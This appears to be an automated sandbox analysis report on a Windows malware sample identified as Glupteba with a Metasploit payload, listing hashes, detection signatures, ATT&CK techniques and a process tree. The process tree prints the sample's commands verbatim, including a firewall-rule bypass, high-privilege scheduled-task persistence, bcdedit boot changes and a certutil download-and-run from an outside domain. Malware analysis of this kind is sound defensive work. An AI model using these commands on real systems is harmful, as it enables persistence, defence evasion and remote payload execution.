Analysis

  • max time kernel
    143s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-06-2024 20:59

General

  • Target

    0f8253c71ec176d230711305335e799d_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    0f8253c71ec176d230711305335e799d

  • SHA1

    454e4dd4afc6bb344a5e45581b664fe822855b32

  • SHA256

    da9e78e7fa2e933cf4da6ff2e829298a764a2452b96909b0581b8f9781f54f79

  • SHA512

    399713698260d0c3afc95e8976792b0c1c7e62a319677ce6b568166cb35388c5391300344a59e69565d08a55cb896440e3b4d253928d4a1ecf7ad036e8f7e231

  • SSDEEP

    98304:XYI0r/IVahcO2cEMjwhHt/cM6RVtzufa:XY/DIGcOZEZFtkXRbz

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 19 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\0f8253c71ec176d230711305335e799d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\0f8253c71ec176d230711305335e799d_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1944
    • C:\Users\Admin\AppData\Local\Temp\0f8253c71ec176d230711305335e799d_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\0f8253c71ec176d230711305335e799d_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3348
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3540
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4136
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3260
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3584
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1784
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4300
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3560
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4168,i,13281073920029625837,8253721632651544158,262144 --variations-seed-version --mojo-platform-channel-handle=3984 /prefetch:8
    1⤵
      PID:4040

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Execution

    Scheduled Task/Job

    1
    T1053

    Scheduled Task

    1
    T1053.005

    Persistence

    Create or Modify System Process

    1
    T1543

    Windows Service

    1
    T1543.003

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Event Triggered Execution

    1
    T1546

    Netsh Helper DLL

    1
    T1546.007

    Scheduled Task/Job

    1
    T1053

    Scheduled Task

    1
    T1053.005

    Privilege Escalation

    Create or Modify System Process

    1
    T1543

    Windows Service

    1
    T1543.003

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Event Triggered Execution

    1
    T1546

    Netsh Helper DLL

    1
    T1546.007

    Scheduled Task/Job

    1
    T1053

    Scheduled Task

    1
    T1053.005

    Defense Evasion

    Impair Defenses

    1
    T1562

    Disable or Modify System Firewall

    1
    T1562.004

    Modify Registry

    2
    T1112

    Subvert Trust Controls

    1
    T1553

    Install Root Certificate

    1
    T1553.004

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    1
    T1082

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      Filesize

      1.7MB

      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Windows\rss\csrss.exe
      Filesize

      3.8MB

      MD5

      0f8253c71ec176d230711305335e799d

      SHA1

      454e4dd4afc6bb344a5e45581b664fe822855b32

      SHA256

      da9e78e7fa2e933cf4da6ff2e829298a764a2452b96909b0581b8f9781f54f79

      SHA512

      399713698260d0c3afc95e8976792b0c1c7e62a319677ce6b568166cb35388c5391300344a59e69565d08a55cb896440e3b4d253928d4a1ecf7ad036e8f7e231

    • memory/1944-2-0x00000000012D0000-0x0000000001AD4000-memory.dmp
      Filesize

      8.0MB

    • memory/1944-3-0x0000000000400000-0x0000000000C1E000-memory.dmp
      Filesize

      8.1MB

    • memory/1944-5-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/1944-1-0x0000000000F10000-0x00000000012C2000-memory.dmp
      Filesize

      3.7MB

    • memory/1944-7-0x00000000012D0000-0x0000000001AD4000-memory.dmp
      Filesize

      8.0MB

    • memory/1944-9-0x0000000000400000-0x0000000000C1E000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-21-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-28-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-34-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-33-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-32-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-22-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-24-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-25-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-26-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-27-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-30-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3260-29-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3348-10-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3348-8-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3348-6-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB

    • memory/3348-17-0x0000000000400000-0x0000000000C24000-memory.dmp
      Filesize

      8.1MB